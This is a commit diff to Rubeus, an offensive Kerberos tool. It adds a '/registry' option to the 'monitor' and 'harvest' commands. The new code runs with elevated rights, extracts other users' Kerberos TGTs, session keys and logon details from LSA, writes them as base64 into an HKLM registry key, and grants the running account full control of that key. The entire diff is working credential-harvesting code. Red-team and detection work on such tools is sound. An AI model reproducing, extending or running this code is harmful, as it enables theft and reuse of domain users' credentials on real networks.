Added registry monitoring changes.
parent
1a24e0c5c0
commit
11ec233ba5
|
@ -10,12 +10,17 @@ namespace Rubeus.Commands
|
|||
public void Execute(Dictionary<string, string> arguments)
|
||||
{
|
||||
int intervalMinutes = 60;
|
||||
string registryBasePath = null;
|
||||
if (arguments.ContainsKey("/interval"))
|
||||
{
|
||||
intervalMinutes = Int32.Parse(arguments["/interval"]);
|
||||
}
|
||||
if (arguments.ContainsKey("/registry"))
|
||||
{
|
||||
registryBasePath = arguments["/registry"];
|
||||
}
|
||||
|
||||
Harvest.HarvestTGTs(intervalMinutes);
|
||||
Harvest.HarvestTGTs(intervalMinutes, registryBasePath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -11,6 +11,7 @@ namespace Rubeus.Commands
|
|||
{
|
||||
string targetUser = "";
|
||||
int interval = 60;
|
||||
string registryBasePath = null;
|
||||
if (arguments.ContainsKey("/filteruser"))
|
||||
{
|
||||
targetUser = arguments["/filteruser"];
|
||||
|
@ -19,7 +20,11 @@ namespace Rubeus.Commands
|
|||
{
|
||||
interval = Int32.Parse(arguments["/interval"]);
|
||||
}
|
||||
Harvest.Monitor4624(interval, targetUser);
|
||||
if (arguments.ContainsKey("/registry"))
|
||||
{
|
||||
registryBasePath = arguments["/registry"];
|
||||
}
|
||||
Harvest.Monitor4624(interval, targetUser, registryBasePath);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -66,10 +66,10 @@ namespace Rubeus.Domain
|
|||
Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]");
|
||||
|
||||
Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:");
|
||||
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]");
|
||||
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] [/registry:SOFTWARENAME]");
|
||||
|
||||
Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:");
|
||||
Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES]");
|
||||
Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES] [/registry:SOFTWARENAME]");
|
||||
|
||||
Console.WriteLine("\r\n\r\n NOTE: Base64 ticket blobs can be decoded with :");
|
||||
Console.WriteLine("\r\n [IO.File]::WriteAllBytes(\"ticket.kirbi\", [Convert]::FromBase64String(\"aa...\"))\r\n");
|
||||
|
|
|
@ -9,7 +9,7 @@ namespace Rubeus
|
|||
{
|
||||
public class Harvest
|
||||
{
|
||||
public static void HarvestTGTs(int intervalMinutes)
|
||||
public static void HarvestTGTs(int intervalMinutes, string registryBasePath)
|
||||
{
|
||||
// First extract all TGTs then monitor the event log (indefinitely) for 4624 logon events
|
||||
// every 'intervalMinutes' and dumps TGTs JUST for the specific logon IDs (LUIDs) based on the event log.
|
||||
|
@ -133,12 +133,15 @@ namespace Rubeus
|
|||
|
||||
Console.WriteLine("\r\n[*] {0} - Current usable TGTs:\r\n", DateTime.Now);
|
||||
LSA.DisplayTGTs(creds);
|
||||
|
||||
if (registryBasePath != null)
|
||||
{
|
||||
LSA.SaveTicketsToRegistry(creds, registryBasePath);
|
||||
}
|
||||
System.Threading.Thread.Sleep(intervalMinutes * 60 * 1000);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Monitor4624(int intervalSeconds, string targetUser)
|
||||
public static void Monitor4624(int intervalSeconds, string targetUser, string registryBasePath = null)
|
||||
{
|
||||
// monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific
|
||||
// logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user.
|
||||
|
@ -224,7 +227,7 @@ namespace Rubeus
|
|||
{
|
||||
seenLUIDs[luid] = true;
|
||||
// if we haven't seen it, extract any TGTs for that particular logon ID
|
||||
LSA.ListKerberosTicketData(luid, "krbtgt", true);
|
||||
LSA.ListKerberosTicketData(luid, "krbtgt", true, registryBasePath);
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
|
|
|
@ -4,6 +4,10 @@ using System.Collections.Generic;
|
|||
using System.ComponentModel;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Security;
|
||||
using System.Reflection;
|
||||
using System.Security.AccessControl;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Rubeus
|
||||
{
|
||||
|
@ -304,24 +308,28 @@ namespace Rubeus
|
|||
}
|
||||
}
|
||||
|
||||
public static void ListKerberosTicketData(uint targetLuid = 0, string targetService = "", bool monitor = false)
|
||||
public static void ListKerberosTicketData(uint targetLuid = 0, string targetService = "", bool monitor = false, string registryBasePath = null)
|
||||
{
|
||||
// lists
|
||||
if (Helpers.IsHighIntegrity())
|
||||
{
|
||||
ListKerberosTicketDataAllUsers(targetLuid, targetService, monitor);
|
||||
ListKerberosTicketDataAllUsers(targetLuid, targetService, monitor, false, registryBasePath);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (registryBasePath != null)
|
||||
{
|
||||
Console.WriteLine("[X] Registry option was passed but will not be used, as we require elevated rights to write to HKLM.");
|
||||
}
|
||||
ListKerberosTicketDataCurrentUser(targetService);
|
||||
}
|
||||
}
|
||||
|
||||
public static void ListKerberosTicketDataAllUsers(uint targetLuid = 0, string targetService = "", bool monitor = false, bool harvest = false)
|
||||
public static void ListKerberosTicketDataAllUsers(uint targetLuid = 0, string targetService = "", bool monitor = false, bool harvest = false, string registryBasePath = null)
|
||||
{
|
||||
// extracts Kerberos ticket data for all users on the system (assuming elevation)
|
||||
|
||||
// first elevates to SYSTEM and uses LsaRegisterLogonProcessHelper connect to LSA
|
||||
// first elevates to SYSTEM and uses LsaRegisterLogonProcessHelper connect to LSAG
|
||||
// then calls LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type to enumerate all cached tickets
|
||||
// and finally uses LsaCallAuthenticationPackage w/ a KerbRetrieveEncodedTicketMessage message type
|
||||
// to extract the Kerberos ticket data in .kirbi format (service tickets and TGTs)
|
||||
|
@ -331,10 +339,43 @@ namespace Rubeus
|
|||
// and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
|
||||
// also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
|
||||
|
||||
Microsoft.Win32.RegistryKey baseKey = null;
|
||||
Microsoft.Win32.RegistryKey userData = null;
|
||||
string user = null;
|
||||
if (!monitor)
|
||||
{
|
||||
Console.WriteLine("\r\n\r\n[*] Action: Dump Kerberos Ticket Data (All Users)\r\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Environment.UserName == "SYSTEM")
|
||||
{
|
||||
user = "NT AUTHORITY\\SYSTEM";
|
||||
}
|
||||
else
|
||||
{
|
||||
user = Environment.UserDomainName + "\\" + Environment.UserName;
|
||||
};
|
||||
|
||||
Registry.LocalMachine.CreateSubKey(registryBasePath);
|
||||
baseKey = Registry.LocalMachine.OpenSubKey(registryBasePath, RegistryKeyPermissionCheck.ReadWriteSubTree);
|
||||
RegistrySecurity rs = baseKey.GetAccessControl();
|
||||
RegistryAccessRule rar = new RegistryAccessRule(
|
||||
user,
|
||||
RegistryRights.FullControl,
|
||||
InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
|
||||
PropagationFlags.None,
|
||||
AccessControlType.Allow);
|
||||
rs.AddAccessRule(rar);
|
||||
baseKey.SetAccessControl(rs);
|
||||
}
|
||||
catch (UnauthorizedAccessException ex)
|
||||
{
|
||||
Console.WriteLine("[-] Error setting access control registry key: {0}", ex);
|
||||
}
|
||||
}
|
||||
|
||||
if (targetLuid != 0)
|
||||
{
|
||||
|
@ -448,6 +489,21 @@ namespace Rubeus
|
|||
|
||||
if (count2 != 0)
|
||||
{
|
||||
if (baseKey != null)
|
||||
{
|
||||
baseKey.CreateSubKey(username + "@" + domain);
|
||||
userData = baseKey.OpenSubKey(username + "@" + domain, RegistryKeyPermissionCheck.ReadWriteSubTree);
|
||||
userData.SetValue("Username", username);
|
||||
userData.SetValue("Domain", domain);
|
||||
userData.SetValue("LoginId", data.LoginID.LowPart.ToString());
|
||||
userData.SetValue("UserSID", sid.Value.ToString());
|
||||
userData.SetValue("AuthenticationPackage", authpackage.ToString());
|
||||
userData.SetValue("LogonType", logonType.ToString());
|
||||
userData.SetValue("LogonTime", logonTime.ToString());
|
||||
userData.SetValue("LogonServer", logonServer.ToString());
|
||||
userData.SetValue("LogonServerDNSDomain", dnsDomainName.ToString());
|
||||
userData.SetValue("UserPrincipalName", upn.ToString());
|
||||
}
|
||||
Console.WriteLine("\r\n UserName : {0}", username);
|
||||
Console.WriteLine(" Domain : {0}", domain);
|
||||
Console.WriteLine(" LogonId : {0}", data.LoginID.LowPart);
|
||||
|
@ -613,6 +669,25 @@ namespace Rubeus
|
|||
byte[] encodedTicket = new byte[encodedTicketSize];
|
||||
Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize);
|
||||
string base64TGT = Convert.ToBase64String(encodedTicket);
|
||||
if (userData != null)
|
||||
{
|
||||
userData.SetValue("ServiceName", serviceName);
|
||||
userData.SetValue("TargetName", targetName);
|
||||
userData.SetValue("ClientName", clientName);
|
||||
userData.SetValue("DomainName", domainName);
|
||||
userData.SetValue("TargetDomainName", targetDomainName);
|
||||
userData.SetValue("AltTargetDomainName", altTargetDomainName);
|
||||
userData.SetValue("SessionKeyType", sessionKeyType);
|
||||
userData.SetValue("Base64SessionKey", base64SessionKey);
|
||||
userData.SetValue("KeyExpirationTime", keyExpirationTime);
|
||||
userData.SetValue("TicketFlags", ticketFlags);
|
||||
userData.SetValue("StartTime", startTime);
|
||||
userData.SetValue("EndTime", endTime);
|
||||
userData.SetValue("RenewUntil", renewUntil);
|
||||
userData.SetValue("TimeSkew", timeSkew);
|
||||
userData.SetValue("EncodedTicketSize", encodedTicketSize);
|
||||
userData.SetValue("Base64EncodedTicket", base64TGT);
|
||||
}
|
||||
|
||||
Console.WriteLine(" ServiceName : {0}", serviceName);
|
||||
Console.WriteLine(" TargetName : {0}", targetName);
|
||||
|
@ -630,6 +705,7 @@ namespace Rubeus
|
|||
Console.WriteLine(" TimeSkew : {0}", timeSkew);
|
||||
Console.WriteLine(" EncodedTicketSize : {0}", encodedTicketSize);
|
||||
Console.WriteLine(" Base64EncodedTicket :\r\n");
|
||||
|
||||
// display the TGT, columns of 100 chararacters
|
||||
foreach (string line in Helpers.Split(base64TGT, 100))
|
||||
{
|
||||
|
@ -1210,6 +1286,53 @@ namespace Rubeus
|
|||
}
|
||||
}
|
||||
|
||||
public static void SaveTicketsToRegistry(List<KRB_CRED> creds, string baseRegistryKey)
|
||||
{
|
||||
string user = null;
|
||||
if (Environment.UserName == "SYSTEM")
|
||||
{
|
||||
user = "NT AUTHORITY\\SYSTEM";
|
||||
}
|
||||
else
|
||||
{
|
||||
user = Environment.UserDomainName + "\\" + Environment.UserName;
|
||||
};
|
||||
|
||||
Registry.LocalMachine.CreateSubKey(baseRegistryKey);
|
||||
RegistryKey basePath = Registry.LocalMachine.OpenSubKey(baseRegistryKey, RegistryKeyPermissionCheck.ReadWriteSubTree);
|
||||
RegistrySecurity rs = basePath.GetAccessControl();
|
||||
RegistryAccessRule rar = new RegistryAccessRule(
|
||||
user,
|
||||
RegistryRights.FullControl,
|
||||
InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
|
||||
PropagationFlags.None,
|
||||
AccessControlType.Allow);
|
||||
rs.AddAccessRule(rar);
|
||||
basePath.SetAccessControl(rs);
|
||||
|
||||
foreach (KRB_CRED cred in creds)
|
||||
{
|
||||
string userName = cred.enc_part.ticket_info[0].pname.name_string[0];
|
||||
string domainName = cred.enc_part.ticket_info[0].prealm;
|
||||
DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].starttime);
|
||||
DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].endtime);
|
||||
DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].renew_till);
|
||||
Interop.TicketFlags flags = cred.enc_part.ticket_info[0].flags;
|
||||
string base64TGT = Convert.ToBase64String(cred.Encode().Encode());
|
||||
|
||||
Microsoft.Win32.RegistryKey userData = basePath.CreateSubKey(userName + "@" + domainName);
|
||||
|
||||
// Create the keys underneath this
|
||||
userData.SetValue("Username", domainName + "\\" + userName);
|
||||
userData.SetValue("StartTime", startTime);
|
||||
userData.SetValue("EndTime", endTime);
|
||||
userData.SetValue("RenewTill", renewTill);
|
||||
userData.SetValue("Flags", flags);
|
||||
userData.SetValue("Base64EncodedTicket", base64TGT);
|
||||
}
|
||||
Console.WriteLine("\r\n[*] Wrote {0} tickets to HKLM:\\{1}.", creds.Count, baseRegistryKey);
|
||||
}
|
||||
|
||||
public static void DisplayTicket(KRB_CRED cred)
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n");
|
||||
|
|
Loading…
Reference in New Issue